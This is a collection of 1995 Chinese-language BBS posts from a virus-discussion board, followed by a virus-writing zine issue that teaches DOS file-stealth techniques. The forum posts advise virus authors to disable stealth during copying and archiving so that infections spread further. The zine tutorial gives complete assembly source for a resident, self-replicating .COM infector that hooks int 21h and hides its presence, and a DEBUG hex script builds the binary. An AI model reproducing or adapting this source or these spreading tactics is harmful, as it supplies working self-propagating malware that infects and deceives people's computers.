==>[作者]: htk.bbs@bbs.ee.nthu.(我得救了!) 在 virus 讨论区中提到:
> ==> 在 vb66.bbs@bbs.nsysu (诚心交友的小青蛙!) 的文章中提到:
>: HI!个位!很高兴来此!板主辛苦了!
>: 来此问一个小问题!就是软体都会互相交流嘛!
>: 因为最近都用 ARJ.EXE 压缩!
>: 昔日是用COPY得知会有病毒!我想请教一下!B如过果硬碟内的软体没病毒,
>: 已知用COPY会产生病毒!请问一下!用 ARJ 会产生吗?
>: 还有是常用ARJ还是COPY 好??
> 不管是 copy 或 arj ...重点在于那些程式和所处的环境....
对了! 请各位写毒的要注意... 通常一件事有利必有弊, 隐藏技术也一样...
如果隐藏写的太好反而传不远咧... 怎么说呢? 因为别人在 copy 你的档案
时, 或是你用压缩软体 (zip、arj、lha、rar... etc.) 将程式压缩要传到 bbs
站, 这时候就是因为隐藏能力太好了, copy & 压缩出去的反而是无毒的...
如此一来传的远吗? 这样可是会丧失许多广为流传的好机会... 解决方法就是...
当你的毒发现现在对档案存取的是上述程式, 那么你的毒就该 disable 掉隐
藏的功能, 其实这一类的程式还有许多 (ex: telix、backup ...etc.)
而在 dir 的目录隐藏方面, 小心像 chkdsk 之类的程式, 因为它会比对 dir 所得
到的记录是否和实际目录上面的吻合... 所以当有 chkdsk 之类的程式执行的话...
就 disable dir stealth, 不然就会像我的 MacGyver 系列一样
不过对我来讲已经不是很重要了, 因为我现在并不在乎是否有人会中我的毒,
反正那不是我写毒的目的, 只是给各位毒友参考看看...
=============================================================================
发信人: Megadeth.bbs@bbs.cis.nctu.edu.tw (I am alive?), 信区: virus
标 题: Re: 防毒"硬"体可靠吗??(防毒卡)
发信站: 交大资科_BBS (Fri Aug 25 23:00:13 1995)
转信站: phoenix!news.csie.nctu!news.cis.nctu!cis_nctu
=============================================================================
==>[作者]: qaplus.bbs@aidebbs(TANK) 在 virus 讨论区中提到:
> 路时,总有不少手贱的学生把电脑CMOS动手脚,害别人大忙一番.....例如有一次碰到
> ,有人把它设密码,然后把所有软硬碟DISABLE掉,偏偏那主机版又没JMP可以把电池截
> 掉,也没有RESET CMOS的JMP,CHIPSET又是没见过的.....害我忙了一小时多,最后生气
> 用螺斯起子乱筒一番,才稿定.....
以前我高工的电脑教室也是有许多人乱改密码, 后来乾脆在 lan 的开机档里加上
一个 restore CMOS 的程式, 只不过每次开机后时间都是固定的
>: 可以判段软碟是否防写, 当场就学下来... 加到我的宝贝里... :)
> 是那一个PORT啊!
软碟的资料暂存器 (3f5h), 当用 int 13h 完成一个存取软碟的动作后, 趁著
马达还没停, 对资料暂存器下命令, 然后取出 status register 3, 看它的 bit 6
就知道了, 这样的好处是要对软碟作写入动作 (int 13h/ah=3) 之前, 就可以知道
软碟有没有防写, 而不需再浪费时间对软碟写入
mov dx,3f5h
mov al,4
out dx,al
mov ch,4
loop $
out dx,al
mov ch,4
loop $
in al,dx
此时 al 的 bit 6 = 1 -> write protected
=============================================================================
发信人: Megadeth.bbs@bbs.cis.nctu.edu.tw (I am alive?), 信区: virus
标 题: Re: 有点怪怪的scanvir
发信站: 交大资科_BBS (Fri Aug 25 23:30:06 1995)
转信站: phoenix!news.csie.nctu!news.cis.nctu!cis_nctu
=============================================================================
==>[作者]: TarMax.bbs@bbs.mgt.ncu(仙道彰) 在 virus 讨论区中提到:
> 嘿嘿...利害...连M$为了EXE pack留的后门都找到了...:)
不过 DOS 还可以撑个几年, 但是去日已近, 以后写毒将会更加的复杂化...
Win 3.1 的感染已经很罗说了, 现在又出个 Win 95, 好像连 int 21h 也不能用
了, 只能 call 它的 API, 这时候就得去研究它的重定位表和与 module 有关的
一些表格结构, call API 之前还得学 C 函数的参数传递法, 一个个参数 push
进堆叠, 以后的初学者惨了...




台 湾 威 力 病 毒 组 织 病毒杂志
第 三 期

★前言★
嗯..有很多人都问我们为甚么要写病毒,是为了想害人?还是
为了想出名?而这个问题的答案在我们 TPVO 的成立宗旨里已经说
得很明白了; TPVO 的成立宗旨是要打击一些打著夸大不实的广告
而实际上却烂又不知改进的防毒公司,我们写出突破防毒程式的病
毒一方面是要让防毒公司知道他们的程式的漏洞,另一方面是以实
际的压力促使防毒公司更版他们的防毒。而也就是因为我们的宗旨
我们写毒的目的不在害人所以我们从不写有破坏性质的病毒,我们
更不会去放毒害别人!
若我们 TPVO 写病毒仅仅只是为了想害人、想出名或者找防毒
公司的麻烦,我们大可写一些有超强破坏力的病毒让社会大众『印
像深刻』,甚至我们可以针对防毒程式突破,但这些我们都不愿意
去做,我们从不写有破坏力的病毒,在写病毒时也从不针对某某防
毒程式去突破,我们所用的方法都是防毒程式没注意到的漏洞或是
不完善的地方;而写害人的病毒是我们所不屑的!
病毒是随时在产生的,新的技术也随时出现,而防毒公司倘若
抱著驼鸟心态去面对这种状况,对于病毒只求不要碰到就好,如此
受害的还是大家啊!
H D


一.如 何 写 隐 藏 型 病 毒 by Dark Slayer
二.TPVO v1.0 病毒 by Dark Slayer
三.CVEX v8.0 病毒 by Zhuge Jin
四.Easy v1.0 病毒 by Dark Killer
五.DKME v1.0 变体引擎 by Dark Killer
六.Flavour v1.3 病毒 by Dark Killer
七.Glacier v0.1 病毒 by Ghost Shadow
八.Remember 病毒 by Min Jean
九.Poodle v1.0 病毒 by H.D.
十.小 道 消 息 by Bill Yang


TpVOtPVoTpvOTpVOtpVoTPvOTPVOtpVOTPvOtPVOtPVOtPvOTPvOTpVoTPVO
PT OT
VP 台 湾 威 力 病 毒 组 织 病毒杂志 第 三 期 TP
oV PV
TO   如 何 写 隐 藏 型 病 毒   Vo
pT OT
VP by Dark Slayer VP
OV OV
OVTPVoTpvOtPvoTPVOtPvoTpVotpvoTpVotpvOtPvoTpVOtpvOTPvOTpvOTP

==============================================================
本文章要教各位如何写隐藏型的病毒,在这里我们只介绍档案隐藏的
部份。
世界上第一只隐藏型病毒应该是 4096 吧... 根据 VSUM 的资料,此
毒是在 January/1990 发现的,哇... 可见得... 早在六年前就有人懂得
使用隐藏技术,我想 4096 在当时一定造成大流行。虽然是六年前的老毒
,但是此毒之中还是有许多技巧值得学习。而我们这些人... 现在才开始
玩毒的,就得感叹... 因为有许多技术都被写去了,少了许多「发明创新
」的乐趣。
我想大家应该都了解使用隐藏技术的好处。不知道你有没有这个经验
,当你中毒之后... 且此毒会感染 .COM 档,这时候要执行倚天中文系统
却发现进不去,只显示 "ET.COM Has Been Modified" 就退回 DOS 了,
这是因为倚天中文系统会检查自己,看执行档内容是否被修改,而中毒后
,执行档当然是被修改罗... 但是! 如果你的毒具有隐藏能力,那就可以
骗过它罗。
长久以来... 我发现国内出产的病毒大部份都没有隐藏能力,一只没
有隐藏能力的毒是很容易被发现的,为什么大家都不写隐藏型的病毒呢?
其实要写这类型的病毒并不困难,只要针对系统处理档案的功能,一一的
加以欺骗,让它返回的结果跟还未中毒前的结果一样,如此一来... 在大
部份的情况下,都可骗过...
那些处理档案的功能会因档案被感染就返回不同的结果呢?如下...
ah = 11h/12h 档案搜寻 (FCB)
此函式和 ah = 4eh/4fh 一样,可用来搜寻档案,不同的是此函式利
用 FCB 格式,和 ah = 4eh/4fh 不同。 呼叫后,若找到条件符合的
档案,则返回值 al = 0,然后... 在 DTA 中存有此档案的基本资料
(档案大小、日期、时间和属性... 等) ,这时候我们要隐藏的是档
案大小, 只要把 DTA 中档案大小栏位减去病毒长度即可。若找不到
档案,则返回值 al = 0ffh。 DOS 的 DIR 命令就是利用此函式来运
作的。
至于在 DTA 中的资料格式... 请去翻组语的书,或是查 inter list

ah = 4eh/4fh 档案搜寻
此函式呼叫后,若找到符合的档案, 则 CF = 0 且在 DTA 中放置档
案的基本资料,此基本资料的格式不是利用 FCB ,和 ah = 11h/12h
不同,接下来也是缩减档案长度。若找不到档案,则 CF = 1。
至于在 DTA 中的资料格式... 请去翻组语的书,或是查 inter list

ax = 4202h 移动读写指标 (相对于档尾)
此函式相对于档尾 (也就是以档尾为起点) 来移动读写指标,若是移
动 0 bytes (cx=dx=0),则返回后... dx:ax (目前指标位置) 就是
档案大小,有必要加以隐藏,隐藏的方法是... 先取档案长度,然后
减去病毒长度,此值就是档案未被感染前的长度,再将读写指标移至
此值所指向之处,然后将 ax = 4202h 改为 4201h (相对于目前位置
来移动读写指标) ,然后跳至 int 21h 执行,因为目前位置就是未
被感染前的档尾位置,如此一来... 达成了隐藏的目的。至于 ax =
4200h & ax = 4201h 为何不需要管它,请你自己动动脑想一想吧...
以上三个函式都是为了欺骗档案大小,接下来是为了欺骗档案内容
ah = 3fh 读取档案
这就稍为复杂一点了,首先... 我们要考虑到档案感染前后的不同,
感染一个 .COM 档会写入 jmp vir 至档案开头的前 3 bytes,然后
再把病毒本体接在档尾... 所以在读取时,要根据档案读写指标的位
置,来决定隐藏的动作... 通常可分为三个不同的情况如下:
1) 档案读写指标在前 3 bytes 之内:
这个时候读取到的会是 jmp vir 这个指令,如此一来就被发现档
案内容改变了。由于在感染前有将此处的 3 bytes 读至别处储存
,所以这时候只要将读写指标移至该处,则读取到的就不会是 jmp
vir 了,而是未被感染前的那 3 bytes。
2) 读写指标在前 3 bytes 之后且在病毒本体之前:
也就如下图 (2) 的部份,这个时候可以让它读取,因为在档案中
,这个位置的内容根本没有改变过。
前 3 bytes
┌──────┬────────┐
│(1) jmp vir │ │
├──────┘ │
│ (2) │
│ 原档案内容 │
│ (扣掉前 3 bytes) │
├───────────────┤
│vir: (3) 病毒本体 │
└───────────────┘
3) 读写指标在原档案内容之后:
也就是上图中 (3) 的部份,或甚至超过 (3) 的部份都算,这个
时候根本不需要让它读取,或是把 cx 值改为零,让它读到 0
bytes。
以上三种情况是可以结合在一起的,如果我在档案开头读取 10 bytes
,那么先做情况一的动作,去别处读取那 3 bytes,再将读写指标移
回去,要考虑到读取前 3 bytes 后... 读写指标应该是在 3 的位置
,所以应该把读写指标移至 3 ,然后再做情况二的动作...
情况一 & 二 应该限制自己的读取范围,例如:要在档案开头读取 4
bytes ,这时候... 先做情况一的动作,把读写指标移至原档案前 3
bytes 所储存的位置,然后读取... 可是在读取 4 bytes 时 cx 的
值是 4,这个时候如果你没有加以限制,而读出 4 bytes 的话 (原
档案开头 3 bytes 加 1 byte 不知是啥东西),那就不对了... 应该
限制它,使它只能读 3 bytes,再将读写指标移回去,而那第 4 byte
当作情况二来处理。
同样的道理,在情况二要读取的长度超过上图中 (2) 的部份,这时
候应该加以限制... 使它只能读到 (2) 部份的尾端。
甚至有可能是三种情况结合在一起。
ah = 40h 写入档案
当有程式要写入被感染过的档案时,应该把此档案 "解毒", 也就是
和感染的动作相反,而把档案改成未被感染前的样子,然后才让别的
程式写入。
以上对函式的处理有一个先决条件,那就是你要先确定这个档案已经被感
染过,然后才对其隐藏。
如何判断档案是否感染过呢?那就要看你的毒是如何作记号 (mark) 的,
最常用的大概有两种方法,如下:
1) 在档案的某处放记号:
缺点就是... 在 ah = 11h/12h & ah = 4eh/4fh 时,要先开档,再读
取记号,再关档... 比较嘛烦,且... 在 dir 时速度会变慢,被开档
、读档的动作延迟了,如此容易被发觉,由其是在没有装磁碟快取或
是在软碟时,延迟的动作最明显。不过还是有解决的办法,在档案感
染后,可以将档案长度额外增加,使其调整成某个数的倍数... 那么
在开档之前你可以先判断档案长度是否符合条件,如果不符合那根本
就不需要开档,因为该档一定没被感染过... 如此一来就不必每个档
案都开档读取,可以节省时间。如果这个档案的倍数取的越大,那么
长度符合的档案就越少 (被感染过的除外) ,而未被感染过还得开档
检查的档案也就越少,如此就越不会浪费时间。但是此倍数取的越大
,那么额外加入的档案长度也就越大,使被感染的档案长度增加的越
多。
在 ah = 3fh、40h、42h... 等,要检查档案是否被感染,就不需要再
另外开档,因为 bx 就是此档的 handle,你可以利用 ax = 4202h
cx = dx = 0 来取得档案长度,如果符合倍数,再将档案记号读取出
来判断。但是别忘记... 在改变读写指标之前,要先将其保存,等判
断工作完后在将读写指标设回原处,以免影响原来的存取动作。
2) 以时间、日期来当记号:
缺点是... 有太多病毒用这招 (如:加 100 年、秒数改为 62... 等)
,如此一来可能搞混... 再说... 四年后的今天就就是 2XXX 年了,
到时候怎么办??什么?改成减 100 年?哦... 那是行不通的...
且... 有些扫未知毒的扫毒程式会对奇怪的时间、日期提出警告,将
其判为病毒。
优点是,在 ah = 11h/12h & 4eh/4fh 时可以不必开档,直接判断DTA
中,档案基本资料的时间、日期,就可以决定是否将档案大小缩减,
但是别忘记也顺便将时间、日期改成 "正常" 的。本文中的范例病毒
采用此法,因为较简单。
如果你是利用方法 (2) 来当记号,那么还得处理底下两个函式:
ax = 5700h 取档案日期
这不用我多说了吧?将时间、日期恢复。
ax = 5701h 设档案日期
如果不 "加工" 就直接让别的程式,对感染过的档案设时间、日期,
那么记号就有可能被改掉。

对于 .EXE 档的病毒的隐藏写法是一样的,只要将情况一的前 3
bytes 改为 24 (18h) bytes 。
你可以利用 DOS 的 FC or COMP 来比较被感染过的档案与备份档是
否不同,若是不同... 那表示你写隐藏病毒有些地方没写好...
最后... 我要说的是... 一件事情有好也有坏,隐藏的缺点就在于它
隐藏的优点,怎么说呢?因为读取到的档案内容是 "乾净" 的,所以在
copy 时... 拷出去的档案变成无毒的,当中毒者要上传档案到 BBS 上,
他会先利用压缩程式把档案压在一起,然后上传... 就是因为有隐藏能力
,所以上传的档案都是无毒的,因为压缩程式也受到隐藏能力的影响,如
此一来... 丧失了许多扩散的好机会,嗯... 怎么改善呢?在 copy 时,
可以等到档案要关档时再感染,而在压缩时... 我们可以先取得目前程式
的 PSP,然后在 PSP:[2ch] 处取得环境区段,再搜寻档名... 或是你也
可以将 PSP-1 而取得 MCB,在 MCB:8 放有该程式的档名,可利用此两种
方法的其中一种取得呼叫 int 21h 的程式档名,然后比对是否为 ARJ、
PKZIP、RAR、LHA、BACKUP... 等,如果是的话... 暂时停止隐藏能力。
还有... CHKDSK 会利用 ah = 11h/12h 来取得档案大小,然后直接
读取目录磁区,取得的档案大小和 ah = 11h/12h 相比较... 如果不相等
就会显示 file size adjusted ,所以在 CHKDSK 执行后也得暂时取消隐
藏能力。
看完了上面的文章之后你是否已经了解了呢?若还不了解... 那看看
底下的示范病毒,好好的了解它运作方式。

========================= Begin of Stealth.asm =========================
vir_size equ (offset vir_end-offset start) ; 病毒大小
mem_size equ (offset mem_end-offset start) ; 所需的记忆体大小
mem_para equ (mem_size+0fh)/10h ; 所需的记忆体大小,以 para 为单位
.286
.model tiny
.code
org 0
start:
call delta ; 重定位
delta: pop si
sub si,offset delta
push si
mov ax,4bffh
mov bx,'S' xor 'te' xor 'al' xor 'th'
int 21h ; 检查是否已常驻
cmp bx,'He' xor 're' xor 'I' xor 'am'
je run_host
mov ah,4ah
mov bx,0ffffh
int 21h ; 取得目前记忆体区块的大小
mov ah,4ah
sub bx,mem_para+1
int 21h ; 缩减目前的记忆体区块,使其空
jc run_host ; 出一块空间给病毒常驻
xor di,di
mov ax,cs
dec ax ; (ax = cs) - 1 为目前的 MCB
mov ds,ax
add ax,ds:mcb_para_size[di]
inc ax ; 计算出空出来的记忆体,其 MCB 位址
mov ds,ax
mov word ptr ds:mcb_onwer_seg[di],8 ; 改为 "系统"
inc ax
mov es,ax
cld
mov cx,vir_size
rep movs byte ptr es:[di],cs:[si] ; 搬过去常驻
mov ds,cx ; ds = cx = 0
mov ax,offset vir_int21 ; 拦 int 21h
xchg ax,ds:[21h*4]
mov es:old21,ax
mov ax,es
xchg ax,ds:[21h*4+2]
mov es:old21[2],ax
run_host: push cs ; 执行原档案
pop ds
push cs
pop es
pop si
add si,offset host_3bytes
mov di,100h
push di
movsb
movsw
ret

vir_int21: cmp ax,4bffh ; 不是常驻检查则离开
jne is_exec?
cmp bx,'S' xor 'te' xor 'al' xor 'th'
jne is_exec?
mov bx,'He' xor 're' xor 'I' xor 'am'
retf 2 ; 常驻检查

is_exec?: cmp ax,4b00h ; 执行档案?
je infect
jmp is_dir? ; 不是则离开
infect: pusha
push ds
push es
mov si,dx
find_zero: inc si ; 寻找档名后的 0 (结尾)
cmp byte ptr ds:[si],0
jne find_zero
; 因为 4b00h 的 ds:dx 指向的档名是以 0 表示结尾,所以
; 我们搜寻这个 0,找到之后... 这个 0 之前的档名就是副
; 档名
cmp byte ptr ds:[si-4],'.' ; 比较 '.COM' 的 '.'
jne infect_exit ; 不是则离开
mov ax,ds:[si-4+1]
and ax,not 2020h ; 小写变大写
cmp ax,'OC' ; 比较 '.COM' 的 'CO'
jne infect_exit ; 不是则离开
mov al,ds:[si-4+3]
and al,not 20h ; 小写变大写
cmp al,'M' ; 比较 '.COM' 的 'M'
jne infect_exit ; 不是则离开
mov ax,3d02h
call dos21 ; 开档
jc infect_exit
mov bx,ax
mov ax,5700h
call dos21 ; 取档案日期、时间
cmp dh,0c8h ; 日期 > 100 年?
jae close_file ; 是则离开 (已感染过)
push cs
pop ds ; ds = cs
mov ds:file_time,cx ; 保存时间、日期至 file_time
mov ds:file_date,dx ; & file_date
mov ah,3fh
mov cx,3
mov dx,offset host_3bytes
call dos21 ; 读取档案前 3 bytes
jc close_file
call get_file_size ; 取档案长度
sub ax,3
mov word ptr ds:vir_jmp[1],ax ; 设定 jmp 的距离
mov ah,40h ; 因为取档长时已经将读写
mov cx,vir_size ; 指标移至档尾,所以我们
xor dx,dx ; 顺便
call dos21 ; 写病毒体至档尾
jc close_file
call seek_to_head ; 移指标至档头
mov ah,40h
mov cx,3
mov dx,offset vir_jmp
call dos21 ; 将 jmp 指令码写至档头
jc close_file
mov ax,5701h
mov cx,ds:file_time
mov dx,ds:file_date
add dh,0c8h ; 日期 加 100h (表示已感过)
call dos21 ; 设回档案时间、日期
close_file: mov ah,3eh
call dos21 ; 关档
infect_exit: pop es
pop ds
popa
jmp vir_int21_exit

is_dir?: cmp ah,11h
jb is_find? ; ah < 11h 则离开
cmp ah,12h
ja is_find? ; ah > 12h 则离开
dir_stealth: call dos21 ; ah = 11h/12h
pushf
pusha
push es
or al,al
jnz dir_exit ; 找不到档案则离开
mov ah,2fh
call dos21 ; 取 DTA,返回时 es:bx 指向 DTA
cmp byte ptr es:[bx],0ffh
jne not_extend_fcb ; 不是扩充式的 DTA 则 jmp
add bx,7
not_extend_fcb: cmp word ptr es:dir_date[bx],0c800h
jb dir_exit ; 档案日期小于 2000 年则离开
sub word ptr es:dir_date[bx],0c800h ; 档案日期减 100
sub word ptr es:dir_size[bx],vir_size ; 档案长度
sbb word ptr es:dir_size[bx+2],0 ; 减去病毒大小
dir_exit: pop es
popa
popf
retf 2

is_find?: cmp ah,4eh
jb is_read? ; ah < 4eh 则离开
cmp ah,4fh
ja is_read? ; ah > 4fh 则离开
find_stealth: call dos21
pushf
pusha
push es
jc find_exit ; 找不到档案则离开
mov ah,2fh
call dos21 ; 取 DTA
; 底下和 ah = 11h/12h 一样,不用多说了吧...
cmp word ptr es:find_date[bx],0c800h
jb find_exit
sub word ptr es:find_date[bx],0c800h
sub word ptr es:find_size[bx],vir_size
sbb word ptr es:find_size[bx+2],0
find_exit: pop es
popa
popf
retf 2

is_read?: cmp ah,3fh
jne not_read ; 不是读取档案则离开
call handle_infected? ; 检查档案是否已感染
jae read_stealth
not_read: jmp is_write? ; 不是则离开
read_stealth: pusha
mov word ptr cs:read_size,0 ; 目前读取到 0 bytes
push cx ; save cx & dx
push dx
call get_now_point ; 取得目前的读写指标
mov cs:old_seek_point,ax ; 存在 old_seek_point
mov cs:old_seek_point[2],dx
or dx,dx ; 目前指标 大于 64k ?
jnz read_above_first3 ; 是则跳
cmp ax,3 ; 目前指标 大于或等于 3 ?
jae read_above_first3 ; 是则跳
; 底下就是本文所说的情况一
sub ax,3 ; 将目前读写指标减 3
sbb dx,0
; 目前读写指标 = 0 时,减 3 后变成 -3
; 目前读写指标 = 1 时,减 3 后变成 -2
; 目前读写指标 = 2 时,减 3 后变成 -1
mov cx,dx
mov dx,ax
call seek_from_end ; 相对于档尾来移动读写指标
; 因为原档案的前 3 bytes 放在档尾
mov ah,3fh
pop dx ; load cx & dx
pop cx
call dos21 ; 读取档案前 3 bytes
; 喂! 等等... 你可能会有疑问,在这个读取动作并没有将
; 要读取的位元数加以限制,cx 值可能是大于 3 的任何数...
; 但是不可能读取超过 3 bytes 的,读写指标是从档尾算起
; -3 ~ -1 bytes,当读到档尾时便读不到东西了,所以...
pushf ; 保存旗标值,因为加法会改变 CF
add cs:read_size,ax ; read_size (目前为 0) = read_size +
; ax (实际上所读到的位元数)
popf ; 取回旗标值
jc read_done ; 有错误 (CF = 1) 则离开
sub cx,ax ; 所要读取的位元数减去 ax
add dx,ax ; 接下来读取的东西从 ds:dx + ax
; 开始放
push cx ; save cx & dx
push dx
add cs:old_seek_point,ax ; 使读写指标前进
adc word ptr cs:old_seek_point[2],0
read_above_first3:
; 底下为情况 二、三
call get_file_size ; 取得档案长度
sub ax,vir_size ; 减去病毒大小,变成未感染前的长度
sbb dx,0
mov si,ax ; 暂时存在 di:si
mov di,dx
mov dx,cs:old_seek_point ; 取要读取的指标位置
mov cx,cs:old_seek_point[2]
call seek_from_head ; 设定读写指标
sub si,ax ; dx:ax 传回目前指标位置
sbb di,dx ; di:si = di:si - dx:ax
; 将未被感染前的 档案长度 减去 目前指标 可得
; 实际能够读取的长度 (用来限制读取长度)
pop dx ; load cx & dx
pop cx
jnb rl0 ; 未感染前的档案长度 > 目前指标 则跳
xor cx,cx ; 否则的话... 设 cx = 0
; 使它只能读取 0 bytes (情况三)
rl0: cmp si,cx ; 实际能够读取的长度 >= cx ?
jae rl1 ; 是的话则 jmp,表示没问题... 读取不会超过
mov cx,si ; 否则限制 cx = si,最多只能读取到 未被感染
; 前的档案长度
rl1: mov ah,3fh
call dos21
pushf
add cs:read_size,ax ; read_size = read_size + ax
popf
jnc read_done ; 读取没有错误的话则 jmp
mov cs:read_size,ax ; 有错误的话,read_size = ax,
; 传回错误代码
read_done: popa
mov ax,cs:read_size ; ax = read_size (实际上读取到的
; 长度 或 错误代码)
retf 2

is_write?: cmp ah,40h
jne is_seek? ; 不是写档则离开
call handle_infected?
jb is_seek? ; 此档未被感染则离开
write_clean: pusha
push ds
call get_now_point ; 取目前读写指标
push ax ; 存起来
push dx
mov dx,-3 ; 将读写指标移至档尾算
mov cx,0ffffh ; 起 的 -3 bytes
call seek_from_end ; 也就是原档案前 3 bytes
; 放置之处
mov ah,3fh
mov cx,3
mov dx,offset host_3bytes
push cs
pop ds
call dos21 ; 读出来
jc write_exit
call seek_to_head ; 移读写指标至档头
mov ah,40h
mov cx,3
mov dx,offset host_3bytes
call dos21 ; 将原档前 3 bytes 写回
; (和解毒的动作一样)
jc write_exit
mov dx,-vir_size
mov cx,0ffffh
call seek_from_end ; 将读写指标移至档尾算起
; 负 vir_size bytes,也就是未被感染前档案尾端的位置
mov ah,40h
xor cx,cx
call dos21 ; 写入 0 bytes,将后面的病毒码切掉,档案长
; 度恢复回未被感染前的长度
jc write_exit
mov ah,68h
call dos21 ; 将缓充区中的资料写入
write_exit: pop dx ; 取出原来的读写指标
pop ax
call seek_from_head ; 设回原读写指标的位置
pop ds
popa
jmp vir_int21_exit

is_seek?: cmp ax,4202h ; 从档尾移动读写指标吗?
jne is_date_time? ; 不是则离开
call handle_infected?
jb is_date_time? ; 档案未被感染过则离开
seek_stealth: pusha
call get_file_size ; 取档案长度
sub ax,vir_size ; 减去病毒长度 (为未被感染
sbb dx,0 ; 前的档案长度)
mov cx,dx
mov dx,ax
call seek_from_head ; 将读写指标设到此处
popa
mov al,1 ; al = 1 (改为从目前位置
; 开始移读写指标)
jmp vir_int21_exit

is_date_time?: cmp ah,57h ; 存取档案时间、日期?
jne vir_int21_exit ; 不是则离开
call handle_infected?
jb vir_int21_exit ; 档案未被感染过则离开
cmp al,1
ja vir_int21_exit ; al > 1 则离开
jb get_date_time ; al < 1 则跳至 get_date_time
; 否则就是设定时间日期了
set_date_time: add dh,0c8h ; 日期加 100 年
get_date_time: call dos21
pushf
sub dh,0c8h ; 减去 100 年
popf
retf 2

vir_int21_exit: db 0eah
old21 dw ?,?

handle_infected?: ; 用来检查档案代码是否已经感染...
; 返回后... CF = 0:档案已经被感染
; CF = 1:档案未被感染 或是 有错误
pusha
mov ax,5700h
call dos21 ; 取档案日期
jc time_date_error ; 有错误 (CF = 1) 则离开
cmp dh,0c8h ; 日期和 100 年比较
time_date_error:popa
ret

seek_from_head: xor al,al ; 相对于 档头 来移动读写指标
jmp seek
seek_from_end: mov al,2 ; 相对于 档尾 来移动读写指标
jmp seek
seek_to_head: xor al,al ; 将读写指标移至 档头
jmp seek0
get_now_point: mov al,1 ; 取得 目前 的读写指标
jmp seek0
seek_to_end: ; 将读写指标移至 档尾
get_file_size: mov al,2 ; 或是 可用来取得 档案长度
seek0: xor cx,cx
xor dx,dx
seek: mov ah,42h
dos21: pushf
cli
call dword ptr cs:old21
ret
msg db ' - Stealth demo by Dark Slayer of TPVO - '
vir_jmp db 0e9h,?,? ; 病毒的 jmp
host_3bytes db 0cdh,20h,? ; 原档案的 3 bytes 保存于此
vir_end:
old_seek_point dw ?,?
read_size dw ?
file_time dw ?
file_date dw ?
mem_end:
mcb struc
mcb_sign db ?
mcb_onwer_seg dw ?
mcb_para_size dw ?
db 3 dup(?)
mcb_name db 8 dup(?)
mcb ends
dir struc
dir_drive db ?
dir_name db 8 dup(?)
dir_ext db 3 dup(?)
dir_attr db ?
db 10 dup(?)
dir_time dw ?
dir_date dw ?
dir_start_clust dw ?
dir_size dd ?
dir ends
find struc
find_drive db ?
find_find_name db 8 dup(?)
find_find_ext db 3 dup(?)
find_find_attr db ?
find_entry_count dw ?
find_dir_1st_clust dw ?
db 4 dup(?)
find_attr db ?
find_time dw ?
find_date dw ?
find_size dd ?
find_name db 13 dup(?)
find ends
end start
========================== End of Stealth.asm ==========================
n stealth.com
e 0100 E8 00 00 5E 81 EE 03 00 56 B8 FF 4B BB 32 61 CD
e 0110 21 81 FB 24 5B 74 43 B4 4A BB FF FF CD 21 B4 4A
e 0120 83 EB 34 CD 21 72 33 33 FF 8C C8 48 8E D8 03 45
e 0130 03 40 8E D8 C7 45 01 08 00 40 8E C0 FC B9 23 03
e 0140 F3 2E A4 8E D9 B8 6A 00 87 06 84 00 26 A3 C2 02
e 0150 8C C0 87 06 86 00 26 A3 C4 02 0E 1F 0E 07 5E 81
e 0160 C6 20 03 BF 00 01 57 A4 A5 C3 3D FF 4B 75 0C 81
e 0170 FB 32 61 75 06 BB 24 5B CA 02 00 3D 00 4B 74 03
e 0180 E9 92 00 60 1E 06 8B F2 46 80 3C 00 75 FA 80 7C
e 0190 FC 2E 75 7B 8B 44 FD 25 DF DF 3D 43 4F 75 70 8A
e 01A0 44 FF 24 DF 3C 4D 75 67 B8 02 3D E8 3E 02 72 5F
e 01B0 8B D8 B8 00 57 E8 34 02 80 FE C8 73 4D 0E 1F 89
e 01C0 0E 29 03 89 16 2B 03 B4 3F B9 03 00 BA 20 03 E8
e 01D0 1A 02 72 36 E8 0D 02 2D 03 00 A3 1E 03 B4 40 B9
e 01E0 23 03 33 D2 E8 05 02 72 21 E8 F0 01 B4 40 B9 03
e 01F0 00 BA 1D 03 E8 F5 01 72 11 B8 01 57 8B 0E 29 03
e 0200 8B 16 2B 03 80 C6 C8 E8 E2 01 B4 3E E8 DD 01 07
e 0210 1F 61 E9 AC 01 80 FC 11 72 3C 80 FC 12 77 37 E8
e 0220 CA 01 9C 60 06 0A C0 75 27 B4 2F E8 BE 01 26 80
e 0230 3F FF 75 03 83 C3 07 26 81 7F 19 00 C8 72 11 26
e 0240 81 6F 19 00 C8 26 81 6F 1D 23 03 26 83 5F 1F 00
e 0250 07 61 9D CA 02 00 80 FC 4E 72 31 80 FC 4F 77 2C
e 0260 E8 89 01 9C 60 06 72 1E B4 2F E8 7F 01 26 81 7F
e 0270 18 00 C8 72 11 26 81 6F 18 00 C8 26 81 6F 1A 23
e 0280 03 26 83 5F 1C 00 07 61 9D CA 02 00 80 FC 3F 75
e 0290 05 E8 32 01 73 03 E9 91 00 60 2E C7 06 27 03 00
e 02A0 00 51 52 E8 3A 01 2E A3 23 03 2E 89 16 25 03 0B
e 02B0 D2 75 33 3D 03 00 73 2E 2D 03 00 83 DA 00 8B CA
e 02C0 8B D0 E8 13 01 B4 3F 5A 59 E8 20 01 9C 2E 01 06
e 02D0 27 03 9D 72 4D 2B C8 03 D0 51 52 2E 01 06 23 03
e 02E0 2E 83 16 25 03 00 E8 FB 00 2D 23 03 83 DA 00 8B
e 02F0 F0 8B FA 2E 8B 16 23 03 2E 8B 0E 25 03 E8 D4 00
e 0300 2B F0 1B FA 5A 59 73 02 33 C9 3B F1 73 02 8B CE
e 0310 B4 3F E8 D7 00 9C 2E 01 06 27 03 9D 73 04 2E A3
e 0320 27 03 61 2E A1 27 03 CA 02 00 80 FC 40 75 54 E8
e 0330 94 00 72 4F 60 1E E8 A7 00 50 52 BA FD FF B9 FF
e 0340 FF E8 94 00 B4 3F B9 03 00 BA 20 03 0E 1F E8 9B
e 0350 00 72 27 E8 86 00 B4 40 B9 03 00 BA 20 03 E8 8B
e 0360 00 72 17 BA DD FC B9 FF FF E8 6C 00 B4 40 33 C9
e 0370 E8 79 00 72 05 B4 68 E8 72 00 5A 58 E8 55 00 1F
e 0380 61 EB 3E 3D 02 42 75 1B E8 3B 00 72 16 60 E8 53
e 0390 00 2D 23 03 83 DA 00 8B CA 8B D0 E8 36 00 61 B0
e 03A0 01 EB 1E 80 FC 57 75 19 E8 1B 00 72 14 3C 01 77
e 03B0 10 72 03 80 C6 C8 E8 33 00 9C 80 EE C8 9D CA 02
e 03C0 00 EA 00 00 00 00 60 B8 00 57 E8 1F 00 72 03 80
